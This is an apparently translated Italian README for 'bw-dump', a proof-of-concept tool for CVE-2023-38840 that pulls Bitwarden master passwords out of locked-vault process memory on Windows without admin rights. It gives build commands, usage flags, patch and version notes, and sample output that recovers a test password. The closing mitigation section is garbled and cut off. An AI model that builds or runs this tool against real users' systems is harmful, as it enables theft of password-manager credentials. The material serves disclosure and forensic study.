
Una prova di concetto per (CVE-2023-38840) che estrae le password master in chiaro da una cassaforte Bitwarden bloccata.
Aggiornamento 2: A questa vulnerabilità è stato assegnato CVE-2023-38840.
Aggiornamento: Una patch è stata rilasciata tramite pull request su GitHub (5813) che corregge la vulnerabilità. Le versioni interessate sono Bitwarden Desktop 2023.7.0 e precedenti.
Uno strumento proof-of-concept che estrae la password principale da un vault Bitwarden bloccato (deve essere stato sbloccato almeno una volta) da sistemi Windows. Funziona solo per la sessione corrente, quindi non funzionerà dopo un riavvio del sistema. NON sono richiesti privilegi amministrativi.
Un blog è stato pubblicato ed è disponibile all'indirizzo: https://redmaple.tech/blogs/2023/extract-bitwarden-vault-passwords/
Una breve demo dell'uso di bw-dump con Microsoft Edge e l'estensione del browser Bitwarden. L'ultima versione dello strumento funziona solo su Bitwarden Desktop.
https://user-images.githubusercontent.com/9108334/191377244-f0e9a123-e4f0-43b0-90b5-697fc005ae7b.mov
Avvertenza: Windows Defender segnalerà il binario compilato come dannoso!
Per compilare un binario strippato, digitare:
go build -ldflags="-s -w"
Per compilare su un sistema Linux, digitare:
env GOOS=windows GOARCH=amd64 go build -ldflags="-s -w"
Basta compilare ed eseguire il binario. NON richiede diritti di amministratore. Assicurarsi che il processo Bitwarden sia in esecuzione. Inoltre, il vault deve essere sbloccato almeno una volta. Successivamente, la password principale sarà memorizzata in memoria per un certo periodo.
È anche possibile passare l'opzione -d per scaricare le regioni di memoria quando viene trovato un pattern. Per ogni risultato, viene creato un file dump-pid-<PID>-<MEM-REGION>.hex nella directory corrente.
Output di esempio
PS C:\Users\Tester\dev\go\bw-dump> bw-dump.exe
888 88b, Y8b Y8b Y888P 888 88e
888 88P' Y8b Y8b Y8P 888 888b 8888 8888 888 888 8e 888 88e
888 8K Y8b Y8b Y 888 888 8888D 8888 8888 888 888 88b 888 888b
888 88b, Y8b Y8b 888 888P Y888 888P 888 888 888 888 888P
888 88P' Y8P Y 888 88" "88 88" 888 888 888 888 88"
888
Created by @NazMarkuta at Red Maple 888
BW-Dump is a Windows forensics tool that extracts Bitwarden master passwords from locked vaults
(must be unlocked at least once) by reading process memory using Windows API functions which
searches for magic byte patterns. The tool doesn't require any special (admin) permissions.
Now supports Bitwarden Desktop App (v2023.1.1) running on Windows 10 or 11. The tool (may)
still support older Bitwarden Chromium extension versions (v2022.6.0) and below.
[+] Searching for processes...
[+] PID: 4228
[+] EXEName: Bitwarden.exe
[+] CMDLine: "C:\Users\Tester\AppData\Local\Programs\Bitwarden\Bitwarden.exe" --type=renderer --user-data-dir="C:\Users\Tester\AppData\Roaming\Bitwarden" --app-path="C:\Users\Tester\AppData\Local\Programs\Bitwarden\resources\app.asar" --no-sandbox --no-zygote --first-renderer-process --lang=en-GB --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --time-ticks-at-unix-epoch=-1675782335888921 --launch-time-ticks=4007177473 --mojo-platform-channel-handle=2508 --field-trial-handle=1792,i,3673052334935287551,6849534636950916074,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:1
[+] Searching PID memory (4228)
[+] Found pattern at MemBaseAddr (0xb0800554000)
[+] Found password prefix bytes at offset (0xc121)
[!] Invalid offset size, skipping...
[+] Found pattern at MemBaseAddr (0xb0800a8c000)
[+] Found password prefix bytes at offset (0x1104)
[!] Invalid offset size, skipping...
[+] Found pattern at MemBaseAddr (0xb08014bc000)
[+] Found password prefix bytes at offset (0x62aa)
[+] Password recovered: "SUPER-SECURE-password8"
PS C:\Users\Tester\dev\go\bw-dump>
Ci sono due modi (probabilmente di più) per eliminare la password principale dalla memoria:
Bitwarden.exe, in modo che Windows esegua una raccolta di memoria.